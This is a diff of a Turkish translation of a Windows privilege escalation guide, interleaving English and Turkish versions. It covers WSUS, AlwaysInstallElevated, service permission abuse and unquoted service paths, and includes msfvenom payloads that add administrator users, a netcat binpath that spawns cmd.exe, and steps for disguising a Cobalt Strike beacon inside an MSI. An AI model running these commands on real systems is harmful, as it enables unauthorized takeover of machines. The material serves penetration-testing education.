](https://github.com/GoSecure/pywsus) - Bunlar, SSL olmayan WSUS trafiğine 'sahte' güncellemeler enjekte etmek için MiTM amaçlı silahlandırılmış exploit script'leridir. Read the research here: @@ -195,17 +195,25 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** [**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -Basically, this is the flaw that this bug exploits: +Temelde, bu hatanın istismar ettiği kusur şudur: -> Eğer yerel kullanıcı proxy'sini değiştirme gücümüz varsa ve Windows Updates Internet Explorer’ın ayarlarında yapılandırılmış proxy'yi kullanıyorsa, bu durumda [PyWSUS](https://github.com/GoSecure/pywsus)'u yerel olarak çalıştırıp kendi trafiğimizi yakalayabilir ve varlığımızda yükseltilmiş (elevated) bir kullanıcı olarak kod çalıştırabiliriz. +> Eğer yerel kullanıcı proxy'sini değiştirme yetkimiz varsa ve Windows Updates Internet Explorer’ın ayarlarında yapılandırılmış proxy'yi kullanıyorsa, bu durumda [PyWSUS](https://github.com/GoSecure/pywsus)'u yerel olarak çalıştırıp kendi trafiğimizi yakalayabilir ve varlığımızda yükseltilmiş bir kullanıcı olarak kod çalıştırabiliriz. > -> Dahası, WSUS servisi mevcut kullanıcının ayarlarını kullandığı için onun sertifika deposunu da kullanacaktır. WSUS hostname'i için self-signed bir sertifika oluşturup bu sertifikayı mevcut kullanıcının sertifika deposuna eklersek, hem HTTP hem de HTTPS WSUS trafiğini yakalayabileceğiz. WSUS, sertifika üzerinde trust-on-first-use türü bir doğrulamayı uygulamak için HSTS-like mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güvenilir kabul ediliyorsa ve doğru hostname'e sahipse, servis tarafından kabul edilecektir. +> Ayrıca, WSUS servisi mevcut kullanıcının ayarlarını kullandığı için sertifika deposunu da kullanır. Eğer WSUS hostname'i için kendinden imzalı bir sertifika oluşturur ve bu sertifikayı mevcut kullanıcının sertifika deposuna eklerseniz, hem HTTP hem de HTTPS WSUS trafiğini yakalayabilirsiniz. WSUS, sertifikada trust-on-first-use tipi bir doğrulamayı uygulamak için HSTS-benzeri mekanizmalar kullanmaz. Sunulan sertifika kullanıcı tarafından güveniliyorsa ve doğru hostname'e sahipse, servis tarafından kabul edilecektir. -You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). +Bu zafiyeti [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) aracıyla sömürebilirsiniz (kullanıma sunulduğunda). + +## Third-Party Auto-Updaters and Agent IPC (local privesc) + +Pek çok kurumsal ajan localhost üzerinden bir IPC yüzeyi ve ayrıcalıklı bir update kanalı açar. Eğer enrollment bir saldırgan sunucusuna zorlanabilirse ve updater sahte bir root CA'ya veya zayıf imzacı kontrollerine güveniyorsa, yerel bir kullanıcı SYSTEM servisi tarafından kurulacak zararlı bir MSI teslim edebilir. Genel bir teknik (Netskope stAgentSvc zincirine dayanan – CVE-2025-0309) için bkz: + +{{#ref}} +abusing-auto-updaters-and-ipc.md +{{#endref}} ## KrbRelayUp -A **local privilege escalation** vulnerability exists in Windows **domain** environments under specific conditions. These conditions include environments where **LDAP signing is not enforced,** users possess self-rights allowing them to configure **Resource-Based Constrained Delegation (RBCD),** and the capability for users to create computers within the domain. It is important to note that these **requirements** are met using **default settings**. +Belirli koşullar altında Windows **domain** ortamlarında bir **local privilege escalation** zafiyeti vardır. Bu koşullar, **LDAP signing'in uygulanmadığı** ortamları, kullanıcıların **Resource-Based Constrained Delegation (RBCD)** yapılandırmasını değiştirebilme yetkisine sahip olmalarını ve kullanıcıların domain içinde bilgisayar (computer) oluşturabilme kabiliyetini içerir. Bu **gereksinimlerin** varsayılan ayarlarla karşılandığını not etmek önemlidir. Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) @@ -223,19 +231,19 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -Eğer bir meterpreter oturumunuz varsa, bu tekniği **`exploit/windows/local/always_install_elevated`** modülünü kullanarak otomatikleştirebilirsiniz +Eğer bir meterpreter oturumunuz varsa, bu tekniği **`exploit/windows/local/always_install_elevated`** modülü ile otomatikleştirebilirsiniz. ### PowerUP -Aynı dizinde ayrıcalıkları yükseltmek için bir Windows MSI ikili dosyası oluşturmak üzere power-up içinden `Write-UserAddMSI` komutunu kullanın. Bu script, kullanıcı/grup ekleme isteği gösteren ön-derlenmiş bir MSI yükleyicisi yazar (bu nedenle GIU erişimi gerekecektir): +PowerUP içindeki `Write-UserAddMSI` komutunu kullanarak mevcut dizinde ayrıcalık yükseltmek için bir Windows MSI ikili dosyası oluşturun. Bu betik, bir kullanıcı/grup eklemesi isteyen önceden derlenmiş bir MSI yükleyicisi yazar (bu yüzden GUI erişimine ihtiyacınız olacak): ``` Write-UserAddMSI ``` -Sadece oluşturulan binary'yi çalıştırarak ayrıcalıkları yükseltin. +Just execute the created binary to escalate privileges. ### MSI Wrapper -Bu öğreticiyi okuyarak bu araçları kullanarak bir MSI wrapper oluşturmayı öğrenin. Sadece komut satırlarını çalıştırmak istiyorsanız bir **.bat** dosyasını sarabilirsiniz. +Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a "**.bat**" file if you **just** want to **execute** **command lines** {{#ref}} @@ -251,44 +259,45 @@ create-msi-with-wix.md ### Create MSI with Visual Studio -- Cobalt Strike veya Metasploit kullanarak `C:\privesc\beacon.exe` konumunda yeni bir **Windows EXE TCP payload** oluşturun. -- **Visual Studio**'yu açın, **Create a new project**'ü seçin ve arama kutusuna "installer" yazın. **Setup Wizard** projesini seçin ve **Next**'e tıklayın. -- Projeye bir isim verin (ör. **AlwaysPrivesc**), konum olarak **`C:\privesc`** kullanın, **place solution and project in the same directory**'i seçin ve **Create**'e tıklayın. -- 4 adımlık süreçte 3. adıma (include edilecek dosyaları seçin) gelene kadar **Next**'e tıklamaya devam edin. **Add**'e tıklayın ve az önce oluşturduğunuz Beacon payload'u seçin. Ardından **Finish**'e tıklayın. -- **Solution Explorer** içinde **AlwaysPrivesc** projesini seçin ve **Properties**'te **TargetPlatform**'ı **x86**'dan **x64**'e değiştirin. -- Yüklenecek uygulamayı daha meşru gösterebilecek **Author** ve **Manufacturer** gibi değiştirebileceğiniz diğer özellikler de vardır. -- Projeye sağ tıklayın ve **View > Custom Actions**'ı seçin. -- **Install**'e sağ tıklayın ve **Add Custom Action**'ı seçin. -- **Application Folder**'a çift tıklayın, **beacon.exe** dosyanızı seçin ve **OK**'e tıklayın. Bu, installer çalıştırılır çalıştırılmaz beacon payload'unun yürütülmesini sağlar. -- **Custom Action Properties** altında **Run64Bit**'i **True** olarak değiştirin. -- Son olarak, **build edin**. -- Eğer `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` uyarısı gösterilirse, platformu x64 olarak ayarladığınızdan emin olun. +- **Generate** with Cobalt Strike or Metasploit a **new Windows EXE TCP payload** in `C:\privesc\beacon.exe` +- Open **Visual Studio**, select **Create a new project** and type "installer" into the search box. Select the **Setup Wizard** project and click **Next**. +- Give the project a name, like **AlwaysPrivesc**, use **`C:\privesc`** for the location, select **place solution and project in the same directory**, and click **Create**. +- Keep clicking **Next** until you get to step 3 of 4 (choose files to include). Click **Add** and select the Beacon payload you just generated. Then click **Finish**. +- Highlight the **AlwaysPrivesc** project in the **Solution Explorer** and in the **Properties**, change **TargetPlatform** from **x86** to **x64**. +- There are other properties you can change, such as the **Author** and **Manufacturer** which can make the installed app look more legitimate. +- Right-click the project and select **View > Custom Actions**. +- Right-click **Install** and select **Add Custom Action**. +- Double-click on **Application Folder**, select your **beacon.exe** file and click **OK**. This will ensure that the beacon payload is executed as soon as the installer is run. +- Under the **Custom Action Properties**, change **Run64Bit** to **True**. +- Finally, **build it**. +- If the warning `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` is shown, make sure you set the platform to x64. ### MSI Installation -Kötü amaçlı `.msi` dosyasının yüklemesini arka planda yürütmek için: +Kötü amaçlı `.msi` dosyasının **kurulumunu** arka planda çalıştırmak için: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -Bu zafiyeti istismar etmek için şunu kullanabilirsiniz: _exploit/windows/local/always_install_elevated_ +Bu zafiyeti istismar etmek için kullanabileceğiniz: _exploit/windows/local/always_install_elevated_ -## Antivirüsler ve Tespit Araçları +## Antivirüs ve Dedektörler ### Denetim Ayarları -Bu ayarlar neyin **kaydedildiğini** belirler, bu yüzden dikkat etmelisiniz +Bu ayarlar hangi bilgilerin **kaydedileceğini** belirler, bu yüzden dikkat etmelisiniz ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding, logların nereye gönderildiğini bilmek ilginçtir. +Windows Event Forwarding, günlüklerin nereye gönderildiğini bilmek ilginçtir ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** domain'e katılmış bilgisayarlarda **yerel Administrator parolalarının yönetimi** için tasarlanmıştır; her parolanın **benzersiz, rastgele ve düzenli olarak güncellendiğini** sağlar. Bu parolalar Active Directory içinde güvenli bir şekilde saklanır ve sadece ACLs aracılığıyla yeterli izin verilmiş kullanıcılara erişim izni tanınır; böylece yetkili kullanıcılar local admin parolalarını görüntüleyebilir. +**LAPS** etki alanına katılmış bilgisayarlarda yerel Administrator parolalarının yönetimi için tasarlanmıştır; her parolanın benzersiz, rastgele ve düzenli olarak güncellenmesini sağlar. Bu parolalar Active Directory içinde güvenli şekilde saklanır ve yalnızca ACLs aracılığıyla yeterli izinlere sahip kullanıcılar tarafından erişilebilir; bu kullanıcılar yetkilendirilmişse yerel Administrator parolalarını görüntüleyebilir. + {{#ref}} ../active-directory-methodology/laps.md @@ -296,36 +305,36 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Eğer aktifse, **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ -[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). +Eğer etkinse, **düz metin parolalar LSASS'te saklanır** (Local Security Authority Subsystem Service).\ +[**Bu sayfada WDigest hakkında daha fazla bilgi**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -**Windows 8.1**'den başlayarak, Microsoft Local Security Authority (LSA) için geliştirilmiş bir koruma getirerek güvenilmeyen süreçlerin **belleğini okumaya** veya kod enjekte etmeye yönelik girişimlerini **engellemek** suretiyle sistemi daha da güvenli hale getirdi.\ -[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection) +**Windows 8.1**'den itibaren, Microsoft, Local Security Authority (LSA) için güvenilmeyen süreçlerin **belleğini okuma** veya kod enjekte etme girişimlerini **engellemek** amacıyla geliştirilmiş bir koruma getirerek sistemi daha da güvenli hale getirdi.\ +[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard**, **Windows 10**'da tanıtıldı. Amacı, cihazda depolanan kimlik bilgilerini pass-the-hash gibi tehditlere karşı korumaktır.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard**, **Windows 10**'da tanıtıldı. Amacı, cihazda depolanan kimlik bilgilerini pass-the-hash saldırıları gibi tehditlere karşı korumaktır.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` -### Cached Credentials +### Önbelleğe Alınmış Kimlik Bilgileri -**Domain credentials** **Local Security Authority** (LSA) tarafından doğrulanır ve işletim sistemi bileşenleri tarafından kullanılır. Bir kullanıcının oturum açma verileri kayıtlı bir security package tarafından doğrulandığında, genellikle o kullanıcı için domain credentials oluşturulur.\ +**Domain kimlik bilgileri** **Yerel Güvenlik Yetkilisi** (LSA) tarafından doğrulanır ve işletim sistemi bileşenleri tarafından kullanılır. Bir kullanıcının oturum açma verileri kayıtlı bir güvenlik paketi tarafından doğrulandığında, kullanıcı için domain kimlik bilgileri genellikle oluşturulur.\ [**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -## Kullanıcılar & Gruplar +## Kullanıcılar ve Gruplar ### Kullanıcıları ve Grupları Listeleme -Ait olduğunuz grupların herhangi birinin ilginç izinlere sahip olup olmadığını kontrol etmelisiniz. +Ait olduğunuz gruplardan herhangi birinin ilginç izinlere sahip olup olmadığını kontrol etmelisiniz. ```bash # CMD net users %username% #Me @@ -340,9 +349,9 @@ Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` -### Privileged groups +### Ayrıcalıklı gruplar -Eğer **bazı ayrıcalıklı gruplara üyeyseniz, ayrıcalıkları yükseltebilirsiniz**. Ayrıcalıklı grupları ve bunları ayrıcalıkları yükseltmek için nasıl kötüye kullanabileceğinizi öğrenmek için buraya bakın: +Eğer **bazı ayrıcalıklı gruplardan birine üyeyseniz ayrıcalıkları yükseltebilirsiniz**. Ayrıcalıklı grupları ve bunları ayrıcalık yükseltmek için nasıl kötüye kullanacağınızı burada öğrenin: {{#ref}} @@ -351,20 +360,20 @@ Eğer **bazı ayrıcalıklı gruplara üyeyseniz, ayrıcalıkları yükseltebili ### Token manipulation -**Daha fazla bilgi** için bu sayfada bir **token**'ın ne olduğunu öğrenin: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Aşağıdaki sayfayı **ilginç token'lar hakkında bilgi edinmek** ve bunları nasıl kötüye kullanacağınızı öğrenmek için inceleyin: +**Daha fazla bilgi edinin** bu sayfada bir **token**'ın ne olduğunu: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +Aşağıdaki sayfayı **ilginç token'lar hakkında bilgi edinmek** ve bunları nasıl kötüye kullanacağınızı öğrenmek için kontrol edin: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### Logged users / Sessions +### Oturum açmış kullanıcılar / Oturumlar ```bash qwinsta klist sessions ``` -### Ev dizinleri +### Ev klasörleri ```bash dir C:\Users Get-ChildItem C:\Users @@ -373,7 +382,7 @@ Get-ChildItem C:\Users ```bash net accounts ``` -### Panodaki içeriği al +### Panonun içeriğini al ```bash powershell -command "Get-Clipboard" ``` @@ -381,8 +390,8 @@ powershell -command "Get-Clipboard" ### Dosya ve Klasör İzinleri -Her şeyden önce, process'leri listeleyip **her process'in komut satırında şifreleri kontrol edin**.\ -Çalışan bir binary'yi **overwrite edip edemeyeceğinizi** veya binary klasörünün yazma izinlerine sahip olup olmadığınızı kontrol edin; bu, olası [**DLL Hijacking attacks**](dll-hijacking/index.html) istismarı için kullanılabilir: +Öncelikle, prosesleri listeleyerek **işlemin komut satırında şifreler olup olmadığını kontrol edin**.\ +Çalışan bir **binary'i üzerine yazıp yazamayacağınızı** veya binary klasöründe yazma izniniz olup olmadığını kontrol edin, olası [**DLL Hijacking attacks**](dll-hijacking/index.html) istismar etmek için: ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -393,9 +402,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -Her zaman olası [**electron/cef/chromium debuggers** çalışıyor mu diye kontrol edin; bunu kötüye kullanarak escalate privileges gerçekleştirebilirsiniz](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +Her zaman olası [**electron/cef/chromium debuggers** çalışıyor olabilir, bunu ayrıcalıkları yükseltmek için kötüye kullanabilirsiniz](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). -**İşlem ikili dosyalarının izinlerini kontrol etme** +**Süreçlerin ikili (binary) dosyalarının izinlerini kontrol etme** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -404,7 +413,7 @@ icacls "%%z" ) ) ``` -**Süreçlerin ikili dosyalarının bulunduğu klasörlerin izinlerini kontrol etme (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**processes binaries klasörlerinin izinlerini kontrol etme (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -412,19 +421,19 @@ icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone todos %username%" && echo. ) ``` -### Bellek Password mining +### Memory Password mining -Çalışan bir sürecin bellek dökümünü sysinternals'tan **procdump** kullanarak oluşturabilirsiniz. FTP gibi servislerin bellekte **credentials in clear text in memory** bulunur; belleği döküp credentials'ları okumayı deneyin. +Çalışan bir sürecin bellek dökümünü sysinternals'tan **procdump** kullanarak oluşturabilirsiniz. FTP gibi servislerde **credentials in clear text in memory** bulunur; belleği döküp bu credentials'ları okumayı deneyin. ```bash procdump.exe -accepteula -ma ``` ### Güvensiz GUI uygulamaları -**SYSTEM olarak çalışan uygulamalar bir kullanıcının CMD başlatmasına veya dizinlere göz atmasına izin verebilir.** +**SYSTEM olarak çalışan uygulamalar bir kullanıcının CMD başlatmasına veya dizinlerde gezmesine izin verebilir.** -Örnek: "Windows Help and Support" (Windows + F1), "command prompt" için arama yapın, "Click to open Command Prompt" öğesine tıklayın +Örnek: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt" -## Hizmetler +## Servisler Servislerin listesini alın: ```bash @@ -433,46 +442,46 @@ wmic service list brief sc query Get-Service ``` -### Permissions +### İzinler -Bir servisin bilgilerini almak için **sc**'yi kullanabilirsiniz +Bir servisin bilgilerini almak için **sc** kullanabilirsiniz ```bash sc qc ``` -Her hizmet için gereken ayrıcalık düzeyini kontrol etmek amacıyla _Sysinternals_'den binary **accesschk**'ın edinilmesi önerilir. +Her servis için gereken yetki seviyesini kontrol etmek amacıyla _Sysinternals_'den **accesschk** ikili dosyasına sahip olmak önerilir. ```bash accesschk.exe -ucqv #Check rights for different groups ``` -"Authenticated Users"'in herhangi bir servisi değiştirebilip değiştiremeyeceğini kontrol etmeniz önerilir: +"Authenticated Users"ın herhangi bir servisi değiştirebilip değiştiremeyeceğini kontrol etmeniz önerilir: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` -[accesschk.exe'yi XP için buradan indirebilirsiniz](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) +[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) -### Servisi etkinleştir +### Servisi etkinleştirme -Bu hatayı alıyorsanız (örneğin SSDPSRV ile): +Eğer bu hatayla karşılaşıyorsanız (örneğin SSDPSRV ile): _System error 1058 has occurred._\ _The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ -Aşağıdaki komutla etkinleştirebilirsiniz: +Bunu etkinleştirmek için şu komutu kullanabilirsiniz: ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` **upnphost servisinin çalışması için SSDPSRV'ye bağlı olduğunu unutmayın (XP SP1 için)** -**Bu sorunun başka bir çözümü** ise şunu çalıştırmaktır: +**Bu problemin başka bir çözümü** şunu çalıştırmaktır: ``` sc.exe config usosvc start= auto ``` -### **Hizmet ikili dosya yolunu değiştir** +### **Modify service binary path** -Bir serviste "Authenticated users" grubunun **SERVICE_ALL_ACCESS** yetkisine sahip olduğu senaryoda, servisin yürütülebilir ikili dosyası üzerinde değişiklik yapmak mümkündür. Servisi değiştirmek ve çalıştırmak için **sc**: +Bir serviste "Authenticated users" grubunun **SERVICE_ALL_ACCESS** yetkisine sahip olduğu durumda, servisin yürütülebilir ikili dosyası değiştirilebilir. Değiştirmek ve **sc**'yi çalıştırmak için: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -487,18 +496,18 @@ net stop [service name] && net start [service name] ``` Ayrıcalıklar çeşitli izinler aracılığıyla yükseltilebilir: -- **SERVICE_CHANGE_CONFIG**: Servisin çalıştırdığı binary'nin yeniden yapılandırılmasına izin verir. -- **WRITE_DAC**: İzinlerin yeniden yapılandırılmasını mümkün kılar; bu da servis yapılandırmalarını değiştirme yeteneği sağlar. -- **WRITE_OWNER**: Sahipliğin alınmasına ve izinlerin yeniden yapılandırılmasına izin verir. -- **GENERIC_WRITE**: Servis yapılandırmalarını değiştirme yeteneği sağlar. -- **GENERIC_ALL**: Ayrıca servis yapılandırmalarını değiştirme yeteneği sağlar. +- **SERVICE_CHANGE_CONFIG**: Servis binary'sini yeniden yapılandırma imkanı verir. +- **WRITE_DAC**: İzinlerin yeniden yapılandırılmasını sağlar; bu da servis yapılandırmalarını değiştirme yeteneğine yol açar. +- **WRITE_OWNER**: Sahipliği devralma ve izinleri yeniden yapılandırma yetkisi verir. +- **GENERIC_WRITE**: Servis yapılandırmalarını değiştirme yetkisini verir. +- **GENERIC_ALL**: Ayrıca servis yapılandırmalarını değiştirme yetkisini verir. -Bu zafiyetin tespiti ve sömürülmesi için _exploit/windows/local/service_permissions_ kullanılabilir. +Bu zafiyetin tespiti ve istismarı için _exploit/windows/local/service_permissions_ kullanılabilir. -### Servis ikili dosyalarının zayıf izinleri +### Servis binaries için zayıf izinler -**Bir servis tarafından çalıştırılan binary'i değiştirebilip değiştiremeyeceğinizi kontrol edin** veya binary'nin bulunduğu klasörde **yazma iznine** sahip olup olmadığınızı kontrol edin ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Bir servis tarafından çalıştırılan tüm binary'leri **wmic** kullanarak (system32'de değil) elde edebilir ve izinlerinizi **icacls** ile kontrol edebilirsiniz: +**Servis tarafından çalıştırılan binary'yi değiştirebilip değiştiremeyeceğinizi** veya binary'nin bulunduğu klasörde **yazma izinlerinizin olup olmadığını** kontrol edin ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Servis tarafından çalıştırılan tüm binary'leri **wmic** (system32'de olmayanları) ile alabilir ve izinlerinizi **icacls** ile kontrol edebilirsiniz: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -512,8 +521,8 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> ``` ### Servis kayıt defteri düzenleme izinleri -Herhangi bir servis kayıt defterini değiştirebilme yetkiniz olup olmadığını kontrol etmelisiniz.\ -Bir servis **kayıt defteri** üzerindeki **izinlerinizi** şu şekilde **kontrol** edebilirsiniz: +Herhangi bir servis kayıt defterini değiştirebilip değiştiremeyeceğinizi kontrol etmelisiniz.\ +Bir servis **kayıt defteri** üzerindeki **izinlerinizi** **kontrol edebilirsiniz**: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -524,13 +533,13 @@ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " ``` **Authenticated Users** veya **NT AUTHORITY\INTERACTIVE**'in `FullControl` izinlerine sahip olup olmadığı kontrol edilmelidir. Eğer öyleyse, servis tarafından çalıştırılan binary değiştirilebilir. -Çalıştırılan binary'nin Path'ini değiştirmek için: +Çalıştırılan binary'nin `Path`'ini değiştirmek için: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Servis kayıt defteri AppendData/AddSubdirectory izinleri +### Services registry AppendData/AddSubdirectory izinleri -Eğer bir kayıt defteri üzerinde bu izne sahipseniz bu, **bu kayıttan alt kayıtlar oluşturabileceğiniz** anlamına gelir. Windows servisleri durumunda bu, **herhangi bir kodu çalıştırmak için yeterlidir:** +Eğer bir registry üzerinde bu izne sahipseniz, **bu registry'den alt registry'ler oluşturabilirsiniz**. Windows servisleri durumunda bu, **herhangi bir kodu çalıştırmak için yeterlidir:** {{#ref}} @@ -539,15 +548,15 @@ appenddata-addsubdirectory-permission-over-service-registry.md ### Unquoted Service Paths -Bir executable'ın yolu tırnak içinde değilse, Windows boşluktan önce gelen her bölümü çalıştırmayı dener. +Bir executable yolunun tırnak içinde olmaması durumunda, Windows boşluktan önceki her parçayı çalıştırmayı dener. -Örneğin, _C:\Program Files\Some Folder\Service.exe_ yolu için Windows şunları çalıştırmayı dener: +Örneğin, _C:\Program Files\Some Folder\Service.exe_ yolu için Windows şu dosyaları çalıştırmayı dener: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Yerleşik Windows hizmetlerine ait olanlar hariç, tüm unquoted service paths'i listeleyin: +Yerleşik Windows hizmetlerine ait olanlar hariç, tüm tırnaklanmamış hizmet yollarını listeleyin: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -567,19 +576,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Bu zafiyeti tespit edip exploit edebilirsiniz** metasploit ile: `exploit/windows/local/trusted\_service\_path` Metasploit ile manuel olarak bir service binary oluşturabilirsiniz: +**Bu zafiyeti tespit edip exploit edebilirsiniz** metasploit ile: `exploit/windows/local/trusted\_service\_path` metasploit ile servis binary'sini manuel olarak oluşturabilirsiniz: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### Kurtarma Eylemleri -Windows, bir servis başarısız olursa yapılacak eylemleri kullanıcıların belirtmesine izin verir. Bu özellik bir binary'ye işaret edecek şekilde yapılandırılabilir. Eğer bu binary değiştirilebilirse, privilege escalation mümkün olabilir. Daha fazla ayrıntı [resmi dokümantasyonda]() bulunabilir. +Windows, bir servis başarısız olduğunda yapılacak eylemleri kullanıcıların belirtmesine izin verir. Bu özellik bir binary'yi işaret edecek şekilde yapılandırılabilir. Eğer bu binary değiştirilebilirse, privilege escalation mümkün olabilir. Daha fazla detay [official documentation](). ## Uygulamalar ### Yüklü Uygulamalar -Kontrol edin **binaries'in izinlerini** (belki birini overwrite edip privilege escalation gerçekleştirebilirsiniz) ve **klasörlerin izinlerini** ([DLL Hijacking](dll-hijacking/index.html)). +Kontrol edin: **permissions of the binaries** (belki birinin üzerine yazıp privilege escalation gerçekleştirebilirsiniz) ve **klasörlerin** izinlerini ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -590,7 +599,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Yazma İzinleri -Bazı yapılandırma dosyalarını değiştirip özel bir dosyayı okuyup okuyamayacağını veya Administrator hesabı tarafından yürütülecek bir ikiliyi (schedtasks) değiştirip değiştiremeyeceğini kontrol et. +Bazı özel dosyaları okumak için bir config dosyasını değiştirebilir misiniz ya da Administrator account (schedtasks) tarafından çalıştırılacak bir binary'i değiştirebilir misiniz diye kontrol edin. Sistemde zayıf klasör/dosya izinlerini bulmanın bir yolu şudur: ```bash @@ -615,10 +624,10 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}} ``` -### Başlangıçta Çalıştır +### Başlangıçta çalıştırma -**Farklı bir kullanıcı tarafından çalıştırılacak bazı registry veya binary'leri üzerine yazıp yazamayacağınızı kontrol edin.**\ -**Okuyun** **aşağıdaki sayfayı**, ilginç **autoruns locations to escalate privileges** hakkında daha fazla bilgi edinmek için: +**Farklı bir user tarafından çalıştırılacak bazı registry veya binary dosyalarını overwrite edip edemeyeceğinizi kontrol edin.**\ +**Aşağıdaki sayfayı okuyun** ilginç **autoruns locations to escalate privileges** hakkında daha fazla bilgi edinmek için: {{#ref}} @@ -627,13 